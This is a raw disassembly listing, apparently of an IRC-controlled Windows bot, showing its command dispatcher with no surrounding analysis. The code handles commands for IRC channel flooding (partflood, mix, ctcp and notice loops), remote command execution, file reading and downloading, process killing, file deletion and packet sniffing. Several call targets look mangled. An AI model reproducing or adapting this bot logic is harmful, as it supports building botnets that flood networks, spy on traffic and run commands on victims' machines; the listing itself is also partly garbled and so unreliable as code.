		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		call	near ptr 26B0E28h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 26A0428h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	near ptr 26A0428h
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 26A0428h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 26A0428h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0428h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0428h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0428h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
